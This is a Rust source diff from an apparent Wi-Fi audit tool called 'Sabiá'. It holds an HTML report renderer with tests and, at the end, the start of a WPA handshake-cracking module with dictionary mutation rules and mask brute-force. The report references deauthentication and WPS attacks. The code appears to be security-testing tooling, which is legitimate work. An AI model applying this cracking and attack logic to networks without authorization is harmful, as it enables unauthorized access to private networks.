||||||
|
esc(&e.hash[..12.min(e.hash.len())]),
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("");
|
||||||
|
format!(
|
||||||
|
"<table class=\"compact\"><thead><tr><th>Quando</th><th>Ação</th><th>Alvo</th><th>Detalhe</th><th>Hash</th></tr></thead><tbody>{rows}</tbody></table>"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
const CSS: &str = r#"
|
||||||
|
:root {
|
||||||
|
--ink: #17211a;
|
||||||
|
--muted: #5b6760;
|
||||||
|
--faint: #838f87;
|
||||||
|
--line: #d8dfdb;
|
||||||
|
--soft: #f3f6f3;
|
||||||
|
--accent: #92400e;
|
||||||
|
--accent-soft: #fbe9d9;
|
||||||
|
--deep: #241705;
|
||||||
|
--deep2: #140d02;
|
||||||
|
--signal: #0e7490;
|
||||||
|
--signal-soft: #d9f0f3;
|
||||||
|
--bad: #b3261e;
|
||||||
|
--bad-soft: #fbe4e2;
|
||||||
|
--warn: #92400e;
|
||||||
|
--warn-soft: #fbe9d9;
|
||||||
|
--info: #0e7490;
|
||||||
|
--info-soft: #d9f0f3;
|
||||||
|
--display: "Source Serif 4", Georgia, serif;
|
||||||
|
--body: "Inter", "Segoe UI", system-ui, sans-serif;
|
||||||
|
--mono: "JetBrains Mono", "SFMono-Regular", Consolas, monospace;
|
||||||
|
}
|
||||||
|
* { box-sizing: border-box; }
|
||||||
|
html, body { margin: 0; padding: 0; }
|
||||||
|
body {
|
||||||
|
font-family: var(--body);
|
||||||
|
color: var(--ink);
|
||||||
|
font-size: 10.5pt;
|
||||||
|
line-height: 1.55;
|
||||||
|
background: #dfe4e1;
|
||||||
|
font-variant-numeric: tabular-nums;
|
||||||
|
}
|
||||||
|
.report { background: #fff; }
|
||||||
|
h1, h2, h3 { font-family: var(--display); line-height: 1.15; margin: 0; }
|
||||||
|
h2 { font-size: 18pt; letter-spacing: -0.01em; margin: 0 0 1mm; color: var(--deep); break-after: avoid; string-set: section content(); }
|
||||||
|
h2::before { content: ""; display: block; width: 9mm; height: 1mm; background: var(--accent); margin-bottom: 3mm; border-radius: 1mm; }
|
||||||
|
h3 { font-size: 12.5pt; margin: 0 0 6pt; break-after: avoid; color: var(--deep); }
|
||||||
|
p { margin: 0 0 8pt; }
|
||||||
|
.mono { font-family: var(--mono); font-size: 8.8pt; }
|
||||||
|
.muted { color: var(--muted); }
|
||||||
|
.small { font-size: 8.2pt; }
|
||||||
|
.strong { font-weight: 600; }
|
||||||
|
.num { text-align: right; font-variant-numeric: tabular-nums; }
|
||||||
|
.eyebrow { font-family: var(--mono); font-size: 8pt; letter-spacing: .14em; text-transform: uppercase; color: var(--accent); font-weight: 700; margin: 0 0 3mm; }
|
||||||
|
.desc { color: var(--muted); font-size: 9.6pt; margin: 0 0 5mm; max-width: 150mm; }
|
||||||
|
section.chapter { margin: 0 0 9mm; break-before: page; }
|
||||||
|
section.chapter:first-of-type { break-before: avoid; }
|
||||||
|
|
||||||
|
/* ---------- cover ---------- */
|
||||||
|
.cover {
|
||||||
|
page: cover;
|
||||||
|
height: 297mm; width: 210mm; margin: 0;
|
||||||
|
display: flex; flex-direction: column; justify-content: space-between;
|
||||||
|
padding: 22mm 18mm; break-after: page; position: relative; overflow: hidden;
|
||||||
|
background: radial-gradient(120% 120% at 100% 0%, #3a2409 0%, var(--deep) 45%, var(--deep2) 100%);
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
.cover .top { display: flex; justify-content: space-between; align-items: flex-start; }
|
||||||
|
.cover .brand { display: flex; align-items: center; gap: 3mm; }
|
||||||
|
.cover .brand img { width: 11mm; height: 11mm; border-radius: 3mm; display: block; }
|
||||||
|
.cover .brand span { font-family: var(--display); font-size: 14pt; font-weight: 700; letter-spacing: -0.01em; }
|
||||||
|
.cover .badge { font: 700 8pt var(--mono); letter-spacing: .14em; text-transform: uppercase; color: #ffd38a; border: 1px solid #a66a2e; background: rgba(255,211,138,.08); padding: 2.5mm 4mm; border-radius: 1mm; white-space: nowrap; }
|
||||||
|
.cover .mid { margin-top: auto; }
|
||||||
|
.cover .eyebrow { color: #ffb963; margin-bottom: 4mm; }
|
||||||
|
.cover h1 { font-size: 40pt; letter-spacing: -0.02em; max-width: 150mm; color: #fff; margin-bottom: 6mm; }
|
||||||
|
.cover .lead { max-width: 125mm; font-size: 12.5pt; color: #e7d9c4; line-height: 1.6; }
|
||||||
|
.cover .meta { display: grid; grid-template-columns: repeat(4, 1fr); gap: 6mm; margin-top: 16mm; padding-top: 6mm; border-top: 1px solid rgba(255,255,255,.18); }
|
||||||
|
.cover .meta dt { font: 500 7.5pt var(--mono); text-transform: uppercase; letter-spacing: .12em; color: #c9b599; margin-bottom: 1.5mm; }
|
||||||
|
.cover .meta dd { margin: 0; font-size: 10.5pt; color: #fff; }
|
||||||
|
.cover .foot { font-size: 8.3pt; color: #c9b599; margin-top: 10mm; max-width: 150mm; }
|
||||||
|
|
||||||
|
/* ---------- table of contents ---------- */
|
||||||
|
.toc { break-after: page; }
|
||||||
|
.toc h2::before { display: none; }
|
||||||
|
.toc ol { list-style: none; margin: 7mm 0 0; padding: 0; }
|
||||||
|
.toc a { display: flex; align-items: baseline; gap: 3mm; color: var(--ink); text-decoration: none; padding: 2.8mm 0; border-bottom: .5pt solid var(--line); font: 500 11pt var(--body); }
|
||||||
|
.toc a::after { content: target-counter(attr(href), page); font: 700 10pt var(--mono); color: var(--accent); margin-left: auto; }
|
||||||
|
.toc .n { font: 700 9.5pt var(--mono); color: var(--faint); width: 8mm; flex: none; }
|
||||||
|
|
||||||
|
/* ---------- kpis ---------- */
|
||||||
|
.stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 4mm; margin: 0 0 7mm; }
|
||||||
|
.stat { border-top: 1mm solid var(--accent); background: var(--soft); padding: 4mm 4.5mm 4.5mm; break-inside: avoid; }
|
||||||
|
.stat.v-bad { border-top-color: var(--bad); }
|
||||||
|
.stat.v-warn { border-top-color: var(--warn); }
|
||||||
|
.stat.v-ok { border-top-color: #1a7f37; }
|
||||||
|
.stat .l { display: block; font: 500 7.3pt var(--mono); letter-spacing: .1em; text-transform: uppercase; color: var(--muted); margin-bottom: 2mm; }
|
||||||
|
.stat strong { display: block; font-family: var(--display); font-size: 25pt; line-height: 1; letter-spacing: -0.01em; color: var(--deep); }
|
||||||
|
.stat.v-bad strong { color: var(--bad); } .stat.v-warn strong { color: var(--warn); }
|
||||||
|
|
||||||
|
/* ---------- findings ---------- */
|
||||||
|
.findings { display: grid; grid-template-columns: 1fr 1fr; gap: 4mm; }
|
||||||
|
.finding { border: 1px solid var(--line); border-left: 1mm solid var(--info); padding: 4mm 4.5mm; break-inside: avoid; background: #fff; }
|
||||||
|
.finding-bad { border-left-color: var(--bad); }
|
||||||
|
.finding-warn { border-left-color: var(--warn); }
|
||||||
|
.finding header { display: flex; align-items: center; gap: 3mm; margin-bottom: 2mm; }
|
||||||
|
.finding h3 { margin: 0; font-size: 11pt; }
|
||||||
|
.finding p { font-size: 9.3pt; color: #36443e; }
|
||||||
|
.finding .scope { color: var(--muted); font-size: 8pt; }
|
||||||
|
.tag { display: inline-block; border-radius: 1mm; padding: 1mm 2.3mm; font: 700 7.3pt var(--mono); text-transform: uppercase; letter-spacing: .08em; background: #e8ecea; color: #47544e; }
|
||||||
|
.tag-bad { background: var(--bad-soft); color: var(--bad); }
|
||||||
|
.tag-warn { background: var(--warn-soft); color: var(--warn); }
|
||||||
|
.tag-info { background: var(--info-soft); color: var(--info); }
|
||||||
|
|
||||||
|
/* ---------- tables ---------- */
|
||||||
|
table { width: 100%; border-collapse: collapse; margin: 0 0 6mm; font-size: 8.8pt; }
|
||||||
|
thead { display: table-header-group; }
|
||||||
|
th { text-align: left; font: 500 7.5pt var(--mono); text-transform: uppercase; letter-spacing: .09em; color: var(--muted); border-bottom: 1.3pt solid var(--ink); padding: 2.2mm 2.3mm; vertical-align: bottom; }
|
||||||
|
td { border-bottom: .5pt solid var(--line); padding: 1.9mm 2.3mm; vertical-align: top; overflow-wrap: anywhere; }
|
||||||
|
tbody tr { break-inside: avoid; }
|
||||||
|
tbody tr:nth-child(even) td { background: #f7f9f7; }
|
||||||
|
.band { margin: 0 0 7mm; break-inside: avoid; }
|
||||||
|
.band header { display: flex; justify-content: space-between; align-items: baseline; margin-bottom: 3mm; }
|
||||||
|
.chan-row { display: grid; grid-template-columns: 11mm 1fr 12mm 30mm; gap: 2mm; align-items: center; font-size: 8.6pt; padding: 1mm 0; }
|
||||||
|
.chan-n { font-weight: 600; }
|
||||||
|
.chan-bar { height: 3.2mm; background: #eef2ef; border-radius: 999px; overflow: hidden; }
|
||||||
|
.chan-bar i { display: block; height: 100%; background: #b8c8bf; border-radius: 999px; }
|
||||||
|
.chan-bar i.diff-low { background: linear-gradient(90deg, #1a7f37, #4fae6c); }
|
||||||
|
.chan-bar i.diff-mid { background: linear-gradient(90deg, #92400e, #c2792e); }
|
||||||
|
.chan-bar i.diff-high { background: linear-gradient(90deg, #b3261e, #d4635c); }
|
||||||
|
.chan-best { background: var(--accent-soft); border-radius: 1mm; padding: 1.4mm 2mm; }
|
||||||
|
.chan-score { text-align: right; font-variant-numeric: tabular-nums; }
|
||||||
|
.chan-aps { color: var(--muted); font-size: 8pt; }
|
||||||
|
.mini-tag { display: inline-block; margin-left: 1.5mm; border: .5pt solid var(--line); border-radius: 1mm; padding: 0 1.2mm; font-size: 6.5pt; color: var(--muted); }
|
||||||
|
.wpa3 { border: 1px solid var(--line); border-left: 1mm solid var(--signal); padding: 4mm 4.5mm; margin-bottom: 3mm; break-inside: avoid; background: #fff; }
|
||||||
|
.wpa3 header { display: flex; gap: 3mm; align-items: center; margin-bottom: 2mm; }
|
||||||
|
.wpa3 ul { margin: 2mm 0 0 4mm; padding: 0; }
|
||||||
|
.wpa3 li { margin-bottom: 1mm; }
|
||||||
|
.callout { background: var(--accent-soft); border-left: 1mm solid var(--accent); padding: 4mm 4.5mm; margin: 0 0 5mm; }
|
||||||
|
.callout strong { color: var(--deep); }
|
||||||
|
.callout.v-bad { background: var(--bad-soft); border-left-color: var(--bad); }
|
||||||
|
.callout.v-bad strong { color: var(--bad); }
|
||||||
|
.callout.v-warn { background: var(--warn-soft); border-left-color: var(--warn); }
|
||||||
|
.callout.v-warn strong { color: var(--warn); }
|
||||||
|
.callout.v-ok { background: #e6f4ea; border-left-color: #1a7f37; }
|
||||||
|
.callout.v-ok strong { color: #1a7f37; }
|
||||||
|
.pagedjs_page { background: #fff; }
|
||||||
|
.pagedjs_pages { margin: 0 auto; }
|
||||||
|
@page {
|
||||||
|
size: A4;
|
||||||
|
margin: 24mm 16mm 20mm 16mm;
|
||||||
|
background: #fff;
|
||||||
|
@top-left { content: "SABIÁ · AUDITORIA WI-FI"; font: 600 7.5pt var(--mono); letter-spacing: .1em; color: var(--faint); vertical-align: bottom; padding-bottom: 4mm; }
|
||||||
|
@top-center { content: string(section); font: 500 7.5pt var(--mono); letter-spacing: .08em; text-transform: uppercase; color: var(--faint); vertical-align: bottom; padding-bottom: 4mm; text-align: center; }
|
||||||
|
@top-right { content: "\25CF USO AUTORIZADO"; font: 700 7.5pt var(--mono); letter-spacing: .1em; color: var(--accent); vertical-align: bottom; padding-bottom: 4mm; text-align: right; white-space: nowrap; }
|
||||||
|
@bottom-left { content: string(footline); font: 400 7.5pt var(--mono); color: var(--faint); vertical-align: top; padding-top: 4mm; }
|
||||||
|
@bottom-right { content: counter(page) " / " counter(pages); font: 700 8pt var(--mono); color: var(--ink); vertical-align: top; padding-top: 4mm; text-align: right; }
|
||||||
|
}
|
||||||
|
@page cover {
|
||||||
|
margin: 0;
|
||||||
|
@top-left { content: none; } @top-center { content: none; } @top-right { content: none; }
|
||||||
|
@bottom-left { content: none; } @bottom-right { content: none; }
|
||||||
|
}
|
||||||
|
.doc-meta { string-set: footline attr(data-footline); }
|
||||||
|
#pagedjs-ignore { display: none; }
|
||||||
|
@media print { body { background: #fff; } }
|
||||||
|
"#;
|
||||||
|
|
||||||
|
pub fn render(model: &ReportModel, options: ReportOptions) -> String {
|
||||||
|
let paged = if options.inline_pagedjs {
|
||||||
|
PAGED_MARKER.to_string()
|
||||||
|
} else {
|
||||||
|
"<script src=\"/paged.polyfill.min.js\"></script>".to_string()
|
||||||
|
};
|
||||||
|
let stats = &model.stats;
|
||||||
|
let crackable = model.handshakes.iter().filter(|h| h.crackable).count();
|
||||||
|
let critical = model
|
||||||
|
.analysis
|
||||||
|
.findings
|
||||||
|
.iter()
|
||||||
|
.filter(|f| f.severity == "bad")
|
||||||
|
.count();
|
||||||
|
let warnings = model
|
||||||
|
.analysis
|
||||||
|
.findings
|
||||||
|
.iter()
|
||||||
|
.filter(|f| f.severity == "warn")
|
||||||
|
.count();
|
||||||
|
let date = format_unix(model.generated_unix);
|
||||||
|
let title = if model.title.is_empty() {
|
||||||
|
"Relatório de auditoria Wi-Fi".to_string()
|
||||||
|
} else {
|
||||||
|
model.title.clone()
|
||||||
|
};
|
||||||
|
let logo_data_uri = format!("data:image/png;base64,{}", base64(LOGO_PNG));
|
||||||
|
let footline = format!("Uso autorizado · gerado em {date}");
|
||||||
|
let overall = if critical > 0 {
|
||||||
|
"bad"
|
||||||
|
} else if warnings > 0 {
|
||||||
|
"warn"
|
||||||
|
} else {
|
||||||
|
"ok"
|
||||||
|
};
|
||||||
|
format!(
|
||||||
|
r##"<!doctype html>
|
||||||
|
<html lang="pt-BR">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>{title}</title>
|
||||||
|
<style>{css}</style>
|
||||||
|
{paged}
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="doc-meta" data-footline="{footline}"></div>
|
||||||
|
<main class="report">
|
||||||
|
<section class="cover">
|
||||||
|
<div class="top">
|
||||||
|
<div class="brand"><img src="{logo}" alt=""><span>Sabiá</span></div>
|
||||||
|
<span class="badge">Uso autorizado</span>
|
||||||
|
</div>
|
||||||
|
<div class="mid">
|
||||||
|
<p class="eyebrow">Relatório de auditoria · redes sem fio</p>
|
||||||
|
<h1>{title}</h1>
|
||||||
|
<p class="lead">Achados de configuração, canais, clientes, handshakes e trilha de auditoria da captura, com verificação criptográfica — nenhuma senha é inventada.</p>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<dl class="meta">
|
||||||
|
<div><dt>Interface</dt><dd class="mono">{iface}</dd></div>
|
||||||
|
<div><dt>Gerado em</dt><dd>{date}</dd></div>
|
||||||
|
<div><dt>Versão do Sabiá</dt><dd>{version}</dd></div>
|
||||||
|
<div><dt>Captura</dt><dd>{capture_state}</dd></div>
|
||||||
|
</dl>
|
||||||
|
<p class="foot">Documento gerado localmente. Use somente em redes próprias ou com autorização explícita do responsável. Cada ação ativa fica registrada na trilha de auditoria encadeada por hash (seção final).</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="toc">
|
||||||
|
<h2>Sumário</h2>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#sec-exec"><span class="n">01</span> Sumário executivo</a></li>
|
||||||
|
<li><a href="#sec-findings"><span class="n">02</span> Achados</a></li>
|
||||||
|
<li><a href="#sec-channels"><span class="n">03</span> Canais e interferência</a></li>
|
||||||
|
<li><a href="#sec-aps"><span class="n">04</span> Redes observadas</a></li>
|
||||||
|
<li><a href="#sec-clients"><span class="n">05</span> Clientes</a></li>
|
||||||
|
<li><a href="#sec-hs"><span class="n">06</span> Handshakes e PMKID</a></li>
|
||||||
|
<li><a href="#sec-wpa3"><span class="n">07</span> WPA3 e PMF</a></li>
|
||||||
|
<li><a href="#sec-audit"><span class="n">08</span> Trilha de auditoria</a></li>
|
||||||
|
<li><a href="#sec-method"><span class="n">09</span> Metodologia e limites</a></li>
|
||||||
|
</ol>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-exec">
|
||||||
|
<h2>Sumário executivo</h2>
|
||||||
|
<div class="stats">
|
||||||
|
{stat_aps}{stat_clients}{stat_hs}{stat_crackable}
|
||||||
|
</div>
|
||||||
|
<div class="callout v-{overall}"><strong>{critical} achado(s) crítico(s) e {warnings} de atenção.</strong> O relatório lista as redes por segurança anunciada, os canais com menor interferência e o material de handshake disponível para verificação de senha.</div>
|
||||||
|
<p>{summary}</p>
|
||||||
|
<h3 style="margin-top:8mm">Escopo observado</h3>
|
||||||
|
<p class="muted">Captura em {iface}, com {frames} quadros processados, {eapol} EAPOL e {deauth} quadros de desautenticação/desassociação. Os dados refletem apenas o que foi visto no ar durante a sessão; não há varredura ativa além das ações listadas na auditoria.</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-findings">
|
||||||
|
<h2>Achados</h2>
|
||||||
|
{findings}
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-channels">
|
||||||
|
<h2>Canais e interferência</h2>
|
||||||
|
<p class="desc">Pontuação menor é melhor. O cálculo pondera sobreposição espectral e intensidade de cada AP; em 2,4 GHz a recomendação fica restrita a 1, 6 e 11.</p>
|
||||||
|
{channels}
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-aps">
|
||||||
|
<h2>Redes observadas</h2>
|
||||||
|
{aps}
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-clients">
|
||||||
|
<h2>Clientes</h2>
|
||||||
|
<p class="desc">Exibindo até 120 estações ordenadas por volume de quadros.</p>
|
||||||
|
{clients}
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-hs">
|
||||||
|
<h2>Handshakes e PMKID</h2>
|
||||||
|
{handshakes}
|
||||||
|
<p class="muted">Handshakes com senha encontrada aparecem com o valor em texto; os demais podem ser exportados em .pcap ou .hc22000 na interface.</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-wpa3">
|
||||||
|
<h2>WPA3 e PMF</h2>
|
||||||
|
{wpa3}
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-audit">
|
||||||
|
<h2>Trilha de auditoria</h2>
|
||||||
|
<p class="desc">Últimas 60 entradas, com hash encadeado. A verificação completa fica disponível na interface.</p>
|
||||||
|
{audit}
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="chapter" id="sec-method">
|
||||||
|
<h2>Metodologia e limites</h2>
|
||||||
|
<p>O Sabiá opera em modo monitor, agrega beacons, respostas de probe, associação e EAPOL, e só injeta quadros quando uma ação é confirmada na interface. A análise de canais é uma estimativa de sobreposição, não uma medição de espectro por SDR. A detecção de evil twin é heurística: nomes iguais com seguranças diferentes e rajadas de gerenciamento merecem verificação manual.</p>
|
||||||
|
<p>O teste de PMF observa reassociação após desautenticação; um resultado inconclusivo não prova que o PMF está ativo. O ataque WPS depende de reaver/bully instalados e de o AP aceitar PIN. Nenhuma senha é inventada: handshakes só aparecem como quebrados quando a verificação criptográfica local confirma a candidata.</p>
|
||||||
|
<p class="muted">Relatório gerado pelo Sabiá {version} em {date}.</p>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
<script>
|
||||||
|
(function () {{
|
||||||
|
function ready() {{
|
||||||
|
try {{
|
||||||
|
parent.postMessage({{ type: 'sabia-report-ready', pages: document.querySelectorAll('.pagedjs_page').length }}, '*');
|
||||||
|
}} catch (_) {{}}
|
||||||
|
}}
|
||||||
|
if (window.PagedPolyfill && window.PagedPolyfill.preview) {{
|
||||||
|
window.PagedPolyfill.preview().then(ready).catch(ready);
|
||||||
|
}} else {{
|
||||||
|
window.addEventListener('load', ready);
|
||||||
|
}}
|
||||||
|
window.addEventListener('message', function (event) {{
|
||||||
|
if (event.data && event.data.type === 'sabia-report-print') window.print();
|
||||||
|
}});
|
||||||
|
}})();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>"##,
|
||||||
|
title = esc(&title),
|
||||||
|
css = CSS,
|
||||||
|
paged = paged,
|
||||||
|
logo = logo_data_uri,
|
||||||
|
footline = esc(&footline),
|
||||||
|
iface = esc(&model.iface),
|
||||||
|
date = esc(&date),
|
||||||
|
version = esc(&model.version),
|
||||||
|
capture_state = if model.running {
|
||||||
|
"em andamento"
|
||||||
|
} else {
|
||||||
|
"encerrada"
|
||||||
|
},
|
||||||
|
stat_aps = stat_card(stats.aps, "redes", ""),
|
||||||
|
stat_clients = stat_card(stats.clients, "clientes", ""),
|
||||||
|
stat_hs = stat_card(stats.handshakes, "handshakes", ""),
|
||||||
|
stat_crackable = stat_card(
|
||||||
|
crackable,
|
||||||
|
"quebráveis",
|
||||||
|
if crackable > 0 { "bad" } else { "" }
|
||||||
|
),
|
||||||
|
overall = overall,
|
||||||
|
critical = critical,
|
||||||
|
warnings = warnings,
|
||||||
|
summary = summary_html(model),
|
||||||
|
frames = stats.frames,
|
||||||
|
eapol = stats.eapol_frames,
|
||||||
|
deauth = stats.deauth_frames,
|
||||||
|
findings = findings_html(model),
|
||||||
|
channels = channels_html(model),
|
||||||
|
aps = aps_html(model),
|
||||||
|
clients = clients_html(model),
|
||||||
|
handshakes = handshakes_html(model),
|
||||||
|
wpa3 = wpa3_html(model),
|
||||||
|
audit = audit_html(model),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn summary_html(model: &ReportModel) -> String {
|
||||||
|
let open = model
|
||||||
|
.access_points
|
||||||
|
.iter()
|
||||||
|
.filter(|a| a.security.as_deref() == Some("Open"))
|
||||||
|
.count();
|
||||||
|
let wps = model.access_points.iter().filter(|a| a.wps).count();
|
||||||
|
let no_pmf = model
|
||||||
|
.access_points
|
||||||
|
.iter()
|
||||||
|
.filter(|a| {
|
||||||
|
!a.pmf
|
||||||
|
&& matches!(
|
||||||
|
a.security.as_deref(),
|
||||||
|
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
|
||||||
|
)
|
||||||
|
})
|
||||||
|
.count();
|
||||||
|
let mut parts = Vec::new();
|
||||||
|
parts.push(format!(
|
||||||
|
"Foram observadas {} redes e {} estações.",
|
||||||
|
model.stats.aps, model.stats.clients
|
||||||
|
));
|
||||||
|
if open > 0 {
|
||||||
|
parts.push(format!("{open} rede(s) aberta(s)"));
|
||||||
|
}
|
||||||
|
if wps > 0 {
|
||||||
|
parts.push(format!("{wps} com WPS anunciado"));
|
||||||
|
}
|
||||||
|
if no_pmf > 0 {
|
||||||
|
parts.push(format!("{no_pmf} sem PMF em WPA2"));
|
||||||
|
}
|
||||||
|
if model.stats.handshakes > 0 {
|
||||||
|
parts.push(format!(
|
||||||
|
"{} handshake(s)/PMKID capturado(s)",
|
||||||
|
model.stats.handshakes
|
||||||
|
));
|
||||||
|
}
|
||||||
|
format!("{}.", parts.join("; "))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::analysis::Analysis;
|
||||||
|
use crate::scan::ScanStats;
|
||||||
|
|
||||||
|
fn model() -> ReportModel {
|
||||||
|
ReportModel {
|
||||||
|
title: "Teste".into(),
|
||||||
|
version: "0.1.0".into(),
|
||||||
|
iface: "wlan0mon".into(),
|
||||||
|
running: false,
|
||||||
|
generated_unix: 1_700_000_000,
|
||||||
|
stats: ScanStats::default(),
|
||||||
|
access_points: Vec::new(),
|
||||||
|
clients: Vec::new(),
|
||||||
|
handshakes: Vec::new(),
|
||||||
|
analysis: Analysis::default(),
|
||||||
|
audit: Vec::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn renders_escaped_standalone_html() {
|
||||||
|
let mut m = model();
|
||||||
|
m.title = "Rede <x>".into();
|
||||||
|
let html = render(&m, ReportOptions::default());
|
||||||
|
assert!(html.contains("Rede <x>"));
|
||||||
|
assert!(html.contains("paged.polyfill.min.js"));
|
||||||
|
assert!(html.contains("@page"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn renders_cover_toc_and_section_anchors() {
|
||||||
|
let html = render(&model(), ReportOptions::default());
|
||||||
|
assert!(html.contains("class=\"cover\""));
|
||||||
|
assert!(html.contains("data:image/png;base64,"));
|
||||||
|
assert!(html.contains("class=\"toc\""));
|
||||||
|
assert!(html.contains("href=\"#sec-exec\""));
|
||||||
|
assert!(html.contains("id=\"sec-exec\""));
|
||||||
|
assert!(html.contains("id=\"sec-method\""));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn base64_matches_known_vectors() {
|
||||||
|
// RFC 4648 test vectors.
|
||||||
|
assert_eq!(base64(b""), "");
|
||||||
|
assert_eq!(base64(b"f"), "Zg==");
|
||||||
|
assert_eq!(base64(b"fo"), "Zm8=");
|
||||||
|
assert_eq!(base64(b"foo"), "Zm9v");
|
||||||
|
assert_eq!(base64(b"foob"), "Zm9vYg==");
|
||||||
|
assert_eq!(base64(b"fooba"), "Zm9vYmE=");
|
||||||
|
assert_eq!(base64(b"foobar"), "Zm9vYmFy");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn inline_option_uses_placeholder() {
|
||||||
|
let html = render(
|
||||||
|
&model(),
|
||||||
|
ReportOptions {
|
||||||
|
inline_pagedjs: true,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
assert!(html.contains(PAGED_MARKER));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn formats_dates() {
|
||||||
|
assert_eq!(format_unix(0), "—");
|
||||||
|
assert!(format_unix(1_700_000_000).ends_with("UTC"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,232 @@
|
|||||||
|
//! Regras de mutação sobre uma palavra do dicionário (estilo hashcat `-r`,
|
||||||
|
//! bem mais simples) e força bruta por máscara (estilo hashcat `-a 3`).
|
||||||
|
//!
|
||||||
|
//! Em quebra de hash normal, regras são "de graça" — um hash SHA256 custa
|
||||||
|
//! nanossegundos. Aqui não: cada candidato é um PBKDF2-HMAC-SHA1 de 4096
|
||||||
|
//! iterações, então cada variante multiplica o tempo de verdade. As regras
|
||||||
|
//! abaixo cobrem os padrões mais comuns (maiúscula inicial, sufixo numérico,
|
||||||
|
//! leet simples) sem explodir pra centenas de variantes por palavra.
|
||||||
|
|
||||||
|
/// Quantas variantes [`expand`] gera por palavra base (pra calcular o
|
||||||
|
/// multiplicador de tempo antes de rodar).
|
||||||
|
pub const VARIANTS_PER_WORD: usize = 1 + 1 + 1 + SUFFIXES.len() + LEET_PAIRS.len();
|
||||||
|
|
||||||
|
const SUFFIXES: &[&str] = &[
|
||||||
|
"1", "12", "123", "1234", "12345", "123456", "01", "007", "99", "2023", "2024", "2025", "!",
|
||||||
|
"@", "#",
|
||||||
|
];
|
||||||
|
|
||||||
|
/// (char original, substituto) — leet simples, uma troca por vez, não
|
||||||
|
/// combinada, senão a combinatória explode rápido demais.
|
||||||
|
const LEET_PAIRS: &[(char, char)] = &[('a', '@'), ('e', '3'), ('i', '1'), ('o', '0'), ('s', '$')];
|
||||||
|
|
||||||
|
/// Gera as variantes de `word` (incluindo a palavra original) que respeitam
|
||||||
|
/// o comprimento válido de WPA (8–63), sem duplicatas.
|
||||||
|
pub fn expand(word: &str) -> Vec<String> {
|
||||||
|
let mut out = Vec::with_capacity(VARIANTS_PER_WORD);
|
||||||
|
let mut push = |s: String| {
|
||||||
|
let len = s.chars().count();
|
||||||
|
if (8..=63).contains(&len) && !out.contains(&s) {
|
||||||
|
out.push(s);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
push(word.to_string());
|
||||||
|
|
||||||
|
if let Some(first) = word.chars().next() {
|
||||||
|
let capitalized: String = first.to_uppercase().chain(word.chars().skip(1)).collect();
|
||||||
|
push(capitalized);
|
||||||
|
}
|
||||||
|
push(word.to_uppercase());
|
||||||
|
|
||||||
|
for suffix in SUFFIXES {
|
||||||
|
push(format!("{word}{suffix}"));
|
||||||
|
}
|
||||||
|
|
||||||
|
for (from, to) in LEET_PAIRS {
|
||||||
|
if word.contains(*from) {
|
||||||
|
push(word.replace(*from, &to.to_string()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Classe de caractere de um token `?x` de máscara (sintaxe hashcat: `?d`
|
||||||
|
/// dígito, `?l` minúscula, `?u` maiúscula, `?s` símbolo comum, `?a` os
|
||||||
|
/// quatro juntos). `??` escapa um `?` literal.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
enum CharClass {
|
||||||
|
Digit,
|
||||||
|
Lower,
|
||||||
|
Upper,
|
||||||
|
Symbol,
|
||||||
|
All,
|
||||||
|
Literal(char),
|
||||||
|
}
|
||||||
|
|
||||||
|
const DIGITS: &str = "0123456789";
|
||||||
|
const LOWER: &str = "abcdefghijklmnopqrstuvwxyz";
|
||||||
|
const UPPER: &str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||||
|
const SYMBOLS: &str = "!@#$%&*_-";
|
||||||
|
|
||||||
|
impl CharClass {
|
||||||
|
fn alphabet(self) -> String {
|
||||||
|
match self {
|
||||||
|
CharClass::Digit => DIGITS.to_string(),
|
||||||
|
CharClass::Lower => LOWER.to_string(),
|
||||||
|
CharClass::Upper => UPPER.to_string(),
|
||||||
|
CharClass::Symbol => SYMBOLS.to_string(),
|
||||||
|
CharClass::All => format!("{DIGITS}{LOWER}{UPPER}{SYMBOLS}"),
|
||||||
|
